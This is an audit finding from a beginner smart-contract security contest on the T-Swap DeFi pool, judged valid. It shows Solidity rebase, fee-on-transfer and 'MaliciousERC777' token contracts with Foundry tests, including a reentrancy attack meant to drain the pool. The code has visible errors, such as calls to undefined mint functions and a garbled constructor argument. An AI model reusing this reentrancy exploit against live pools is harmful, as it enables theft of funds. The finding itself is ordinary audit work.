First Flight #18: T-Swap

First Flight #18
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Rebase, fee-on-transfer, and ERC777 tokens break protocol invariant

Summary

Weird ERC20 tokens with uncommon / malicious implementations can endanger the whole protocol. Examples include rebase, fee-on-transfer, and ERC777 tokens.

Rebase Tokens: they automatically adjust their total supply periodically. This can disrupt the balance checks and liquidity calculations in the TSwapPool.

Rebase token implementation
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract RebaseToken is ERC20 {
address public owner;
constructor() ERC20("Rebase Token", "RBT") {
owner = msg.sender;
_mint(msg.sender, 1000 * 10 ** decimals());
}
function rebase(uint256 amount) external {
require(msg.sender == owner, "Only owner can rebase");
_mint(owner, amount);
}
}
Test case
function testRebaseToken() public {
RebaseToken rebaseToken = new RebaseToken();
pool = new TSwapPool(address(rebaseToken), address(weth), "LTokenA", "LA");
// Initial minting
rebaseToken.mint(liquidityProvider, 200e18);
weth.mint(liquidityProvider, 200e18);
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 100e18);
rebaseToken.approve(address(pool), 100e18);
pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
vm.stopPrank();
// Rebase token supply
rebaseToken.rebase(100e18);
// Rebase affects the balance calculations
vm.startPrank(user);
rebaseToken.approve(address(pool), 10e18);
uint256 expected = 9e18;
pool.swapExactInput(rebaseToken, 10e18, weth, expected, uint64(block.timestamp));
assert(weth.balanceOf(user) < expected); // The rebase disrupts the swap ratio
}

Fee-on-Transfer Tokens: they deduct a fee on every transfer, causing discrepancies between sent and received amounts in the pool.

Fee-on-transfer token implementation
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract FeeOnTransferToken is ERC20 {
uint256 public feePercentage = 1; // 1%
constructor() ERC20("Fee Token", "FEE") {
_mint(msg.sender, 1000 * 10 ** decimals());
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
uint256 fee = (amount * feePercentage) / 100;
uint256 amountAfterFee = amount - fee;
super._transfer(sender, recipient, amountAfterFee);
super._transfer(sender, address(this), fee);
}
}
Test case
function testFeeOnTransferToken() public {
FeeOnTransferToken feeToken = new FeeOnTransferToken();
pool = new TSwapPool(address(feeToken), address(weth), "LTokenA", "LA");
// Initial minting
feeToken.mint(liquidityProvider, 200e18);
weth.mint(liquidityProvider, 200e18);
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 100e18);
feeToken.approve(address(pool), 100e18);
pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
vm.stopPrank();
// Perform a swap
vm.startPrank(user);
feeToken.approve(address(pool), 10e18);
uint256 expected = 9e18;
pool.swapExactInput(feeToken, 10e18, weth, expected, uint64(block.timestamp));
assert(weth.balanceOf(user) < expected); // The fee on transfer disrupts the swap ratio
}

ERC777 Tokens: they can execute arbitrary code during transfers, allowing reentrancy attacks.

ERC777 implementation
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC777/ERC777.sol";
contract MaliciousERC777 is ERC777 {
address public pool;
bool private inCallback = false;
constructor(address[] memory defaultOperators) ERC777("Malicious Token", "MAL", defaultOperators) {
_mint(msg.sender, 1000 * 10 ** decimals(), "", "");
}
function attack(address _pool) external {
pool = _pool;
_mint(address(this), 1 * 10 ** decimals(), "", "");
IERC20(pool).approve(pool, 1 * 10 ** decimals());
TSwapPool(pool).swapExactInput(IERC20(address(this)), 1 * 10 ** decimals(), IERC20(pool), 0, uint64(block.timestamp));
}
function tokensReceived(
address,
address from,
address,
uint256,
bytes calldata,
bytes calldata
) external override {
if (!inCallback) {
inCallback = true;
TSwapPool(pool).withdraw(1 * 10 ** decimals(), 1, 1, uint64(block.timestamp));
inCallback = false;
}
}
}
Test case
function testERC777Reentrancy() public {
MaliciousERC777 malToken = new MaliciousERC777(new address );
pool = new TSwapPool(address(malToken), address(weth), "LTokenA", "LA");
// Initial minting
malToken.mint(liquidityProvider, 200e18);
weth.mint(liquidityProvider, 200e18);
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 100e18);
malToken.approve(address(pool), 100e18);
pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
vm.stopPrank();
// Attack using ERC777 reentrancy
vm.startPrank(user);
malToken.attack(address(pool));
// The attack should drain funds from the pool due to reentrancy
assert(malToken.balanceOf(user) > 1 * 10 ** decimals());
}

Impact

Protocol invariant is broken.

Tools Used

Manual review, Foundry.

Recommendations

Token Whitelist: Implement a whitelist for allowed ERC20 tokens to ensure only well-audited and known tokens can be used in the pool.

Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

FoT

Rebase

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.